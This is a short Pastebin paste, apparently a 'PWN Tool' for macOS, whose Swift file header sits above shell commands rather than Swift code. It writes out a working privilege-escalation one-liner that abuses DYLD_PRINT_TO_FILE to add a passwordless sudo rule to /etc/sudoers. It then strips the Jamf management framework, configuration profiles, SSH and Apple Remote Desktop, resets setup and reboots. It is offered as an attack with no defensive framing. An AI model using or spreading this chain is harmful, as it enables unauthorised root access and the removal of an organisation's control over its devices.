Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //
- // main.swift
- // PWN Tool
- //
- // Created by PWND on 9/1/16.
- // Copyright (c) 2016 MasonPC. All rights reserved.
- //
- import Foundation
- echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s #
- &&
- sudo /usr/local/bin/jamf removeFramework
- ;
- sudo launchctl unload -w /System/Library/LaunchDaemons/ssh.plist
- ;
- sudo profiles -d
- ;
- sudo launchctl unload -w /System/Library/LaunchDaemons/ssh.plist
- ;
- sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -deactivate -configure -access -off
- ;
- sudo rm /var/db/.applesetupdone
- ;
- sudo reboot
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement